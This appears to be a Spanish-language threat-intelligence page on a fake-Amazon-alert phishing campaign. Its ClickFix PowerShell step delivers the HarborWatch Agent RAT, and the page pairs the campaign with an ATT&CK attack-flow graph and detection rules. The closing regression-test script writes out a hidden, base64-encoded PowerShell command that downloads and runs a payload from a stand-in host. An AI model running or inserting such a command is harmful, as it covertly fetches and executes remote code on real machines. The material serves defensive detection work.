De Falsa Alerta de Seguridad de Amazon a Entrega de Agente HarborWatch
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe detalla una campaña de phishing construida alrededor de una falsa alerta de seguridad de Amazon que engaña a las víctimas para que ejecuten un comando de PowerShell a través de un aviso al estilo ClickFix. Ese comando descarga un ejecutable malicioso llamado mysql.exe, que de hecho es el HarborWatch Agent RAT. Una vez iniciado, el malware se conecta a un servidor de comando y control y transmite información del anfitrión. La operación se basa en dominios similares y un método de autoinfección orientado al usuario para evitar la detección tradicional basada en adjuntos.
Investigación
Cofense rastreó la campaña desde la dirección del remitente falsificada a través de los dominios maliciosos, el descargador de PowerShell, y la carga final del malware. El análisis dinámico de mysql.exe reveló comunicación saliente con un servidor de comando y control en 185.193.127.44 y el uso de las rutas de API /api/agent/tasks/ and /api/heartbeat. El análisis de memoria también expuso el identificador HarborWatchAgent/c-1.1.1.
Mitigación
Las organizaciones deben bloquear los dominios e IPs maliciosos identificados, restringir la ejecución de comandos codificados en PowerShell, monitorear la creación inesperada de mysql.exe en el directorio Temp , y fortalecer las defensas de correo electrónico contra la suplantación de marcas y alertas falsificadas.
Respuesta
Si se detecta esta actividad, aislar el punto final afectado, terminar el proceso de HarborWatch Agent, recopilar evidencia forense, y desplegar un bloqueo basado en indicadores a través del entorno. También se debe advertir a los usuarios sobre la falsa alerta de seguridad de Amazon, y se deben actualizar las protecciones contra phishing para capturar cebos similares.
"graph TB %% Class definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#ffcc99 classDef file fill:#cccccc %% Nodes initial_access_phishing["<b>Acción</b> – <b>T1566.002 Enlace de Spearphishing</b><br/>El correo electrónico parece ser de Amazon y contiene un enlace de verificación malicioso."] class initial_access_phishing action user_execution_malicious_link["<b>Acción</b> – <b>T1204.001 Ejecución del Usuario: Enlace Malicioso</b><br/>La víctima hace clic en el enlace y es llevada a una página que les instruye a copiar y pegar un comando de PowerShell."] class user_execution_malicious_link action user_execution_copy_paste["<b>Acción</b> – <b>T1204.004 Ejecución del Usuario: Copiar y Pegar</b><br/>El comando de PowerShell copiado se ejecuta localmente."] class user_execution_copy_paste action obfuscation_obfuscated_files["<b>Acción</b> – <b>T1027 Archivos o Información Ofuscados</b> & <b>T1027.018 Unicode Invisible</b><br/>El comando de PowerShell está codificado en base64 y contiene caracteres Unicode ocultos."] class obfuscation_obfuscated_files action deobfuscate_decode["<b>Acción</b> – <b>T1140 Desofuscar/Decodificar Archivos o Información</b><br/>El comando decodifica la carga útil en tiempo de ejecución."] class deobfuscate_decode action hide_artifact_hidden_window["<b>Acción</b> – <b>T1564.003 Ventana Oculta</b><br/>PowerShell se ejecuta con -w hidden para evitar la interfaz de usuario."] class hide_artifact_hidden_window action ingress_tool_transfer["<b>Acción</b> – <b>T1105 Transferencia de Herramientas de Ingreso</b><br/>El script descarga un script de PowerShell de segunda etapa (code.txt) desde un servidor remoto."] class ingress_tool_transfer action server_software_component["<b>Acción</b> – <b>T1505 Componente de Software de Servidor</b><br/>El segundo script recupera y ejecuta una carga útil (mysql.exe) colocada en %TEMP%."] class server_software_component action remote_access_tool["<b>Malware</b> – <b>T1219 Herramienta de Acceso Remoto</b><br/>Se ejecuta un RAT personalizado llamado HarborWatch Agent."] class remote_access_tool malware discovery_security_software["<b>Acción</b> – <b>T1518.001 Descubrimiento de Software de Seguridad</b><br/>El RAT recopila información sobre el software de seguridad."] class discovery_security_software action discovery_hardware["<b>Acción</b> – <b>T1592.001 Descubrimiento de Hardware</b><br/>El RAT recopila detalles del hardware del anfitrión."] class discovery_hardware action discovery_network_appliances["<b>Acción</b> – <b>T1590.006 Aparatos de Seguridad de Red</b><br/>El RAT enumera dispositivos de seguridad de red."] class discovery_network_appliances action discovery_log_enumeration["<b>Acción</b> – <b>T1654 Enumeración de Registros</b><br/>El RAT enumera los registros de eventos."] class discovery_log_enumeration action discovery_threat_vendor["<b>Acción</b> – <b>T1681 Búsqueda de Datos de Proveedor de Amenazas</b><br/>El RAT busca inteligencia de amenazas."] class discovery_threat_vendor action c2_bidirectional["<b>Acción</b> – <b>T1102.002 Comunicación Bidireccional de Servicio Web</b><br/>Los datos se envían al servidor C2 a través de HTTPS."] class c2_bidirectional action c2_oneway["<b>Acción</b> – <b>T1102.003 Comunicación de un Solo Sentido de Servicio Web</b><br/>Instrucciones adicionales recuperadas a través de HTTPS."] class c2_oneway action c2_dynamic_resolution["<b>Acción</b> – <b>T1568 Resolución Dinámica</b><br/>El RAT resuelve dominios C2 en tiempo de ejecución."] class c2_dynamic_resolution action c2_dga["<b>Acción</b> – <b>T1568.002 Algoritmos de Generación de Dominio</b><br/>La lista de dominios se genera algorítmicamente."] class c2_dga action c2_dead_drop_resolver["<b>Acción</b> – <b>T1102.001 Resolver de Entrega Muerta</b><br/>Recupera instrucciones C2 adicionales de un sitio de entrega muerta."] class c2_dead_drop_resolver action exfiltration_c2["<b>Acción</b> – <b>T1041 Exfiltración por Canal C2</b><br/>La información recopilada se exfiltra a través de la misma web."] class exfiltration_c2 action exfiltration_alternative["<b>Acción</b> – <b>T1048 Exfiltración por Protocolo Alternativo</b><br/>Protocolo alternativo utilizado para la exfiltración de datos."] class exfiltration_alternative action discovery_cloud_dashboard["<b>Acción</b> – <b>T1538 Panel de Control de Servicio en la Nube</b><br/>Los datos se muestran en un panel web en chino (Harbor Sentinel)."] class discovery_cloud_dashboard action %% Connections initial_access_phishing –>|leads to| user_execution_malicious_link user_execution_malicious_link –>|leads to| user_execution_copy_paste user_execution_copy_paste –>|triggers| obfuscation_obfuscated_files obfuscation_obfuscated_files –>|decoded by| deobfuscate_decode deobfuscate_decode –>|executes| hide_artifact_hidden_window hide_artifact_hidden_window –>|downloads| ingress_tool_transfer ingress_tool_transfer –>|downloads| server_software_component server_software_component –>|executes| remote_access_tool remote_access_tool –>|performs| discovery_security_software remote_access_tool –>|performs| discovery_hardware remote_access_tool –>|performs| discovery_network_appliances remote_access_tool –>|performs| discovery_log_enumeration remote_access_tool –>|performs| discovery_threat_vendor remote_access_tool –>|communicates via| c2_bidirectional remote_access_tool –>|receives via| c2_oneway c2_bidirectional –>|uses| c2_dynamic_resolution c2_dynamic_resolution –>|uses| c2_dga c2_oneway –>|uses| c2_dead_drop_resolver remote_access_tool –>|exfiltrates via| exfiltration_c2 exfiltration_c2 –>|may also use| exfiltration_alternative remote_access_tool –>|reports to| discovery_cloud_dashboard "
Flujo de Ataque
Detecciones
Posibles Patrones de Ataque ClickFix en Línea de Comandos (vía cmdline)
Ver
La Posibilidad de Ejecución a Través de Líneas de Comando de PowerShell Ocultas (vía cmdline)
Ver
Cadenas de PowerShell Sospechosas (vía cmdline)
Ver
Cadenas de PowerShell Sospechosas (vía powershell)
Ver
Llamar Métodos Sospechosos de .NET desde PowerShell (vía powershell)
Ver
COIs (HashSha256) para detectar: De Alerta de Seguridad de Amazon Falsa a Entrega ClickFix de HarborWatch Agent de un RAT de Monitoreo Personalizado
Ver
COIs (HashMd5) para detectar: De Alerta de Seguridad de Amazon Falsa a Entrega ClickFix de HarborWatch Agent de un RAT de Monitoreo Personalizado
Ver
COIs (SourceIP) para detectar: De Alerta de Seguridad de Amazon Falsa a Entrega ClickFix de HarborWatch Agent de un RAT de Monitoreo Personalizado
Ver
COIs (DestinationIP) para detectar: De Alerta de Seguridad de Amazon Falsa a Entrega ClickFix de HarborWatch Agent de un RAT de Monitoreo Personalizado
Ver
Ejecución de mysql.exe con Argumento de Contraseña Específico [Creación de Proceso Windows]
Ver
Detección de Comunicación C2 del HarborWatch Agent [Conexión de Red Windows]
Ver
Detectar Ejecución de PowerShell con Ofuscación y Ventana Oculta [PowerShell de Windows]
Ver
Ejecución de Simulación
Prerequisito: El Pre-chequeo de Telemetría y Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
Un atacante ha obtenido un punto de apoyo en el punto final y desea descargar y ejecutar una carga maliciosa mientras permanece oculto al usuario. Ellos crean un único comando de PowerShell que:- Se ejecuta sin un perfil (
-nop) para evitar cargar perfiles de usuario. - Se inicia en una ventana oculta (
-w hidden) para evitar la exposición de la UI (T1564.003). - Incorpora un script de shell inversa codificado en base64 para evadir la detección de cadenas simples (T1027.010).
- Ejecuta el script decodificado mediante
-EncodedCommand, aprovechando PowerShell como un binario firmado (T1218).
La línea de comando elaborada coincide con los filtros de
CommandLine|containsde la regla Sigma, generando así la alerta esperada. - Se ejecuta sin un perfil (
-
Script de Prueba de Regresión:
# ------------------------------------------------- # Ejecución maliciosa de PowerShell que debería activar la regla Sigma # ------------------------------------------------- $payload = 'IEX (New-Object Net.WebClient).DownloadString("http://malicious.example.com/payload.ps1")' $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) $cmd = "-nop -w hidden -EncodedCommand $b64" Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList $cmd ` -WindowStyle Hidden # Fin del script -
Comandos de Limpieza:
# Terminar cualquier proceso residual malicioso de PowerShell Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force # Remover cualquier archivo temporal (ninguno creado en este caso) # Eliminar la variable de payload base64 de la sesión (opcional) Remove-Variable -Name b64 -ErrorAction SilentlyContinue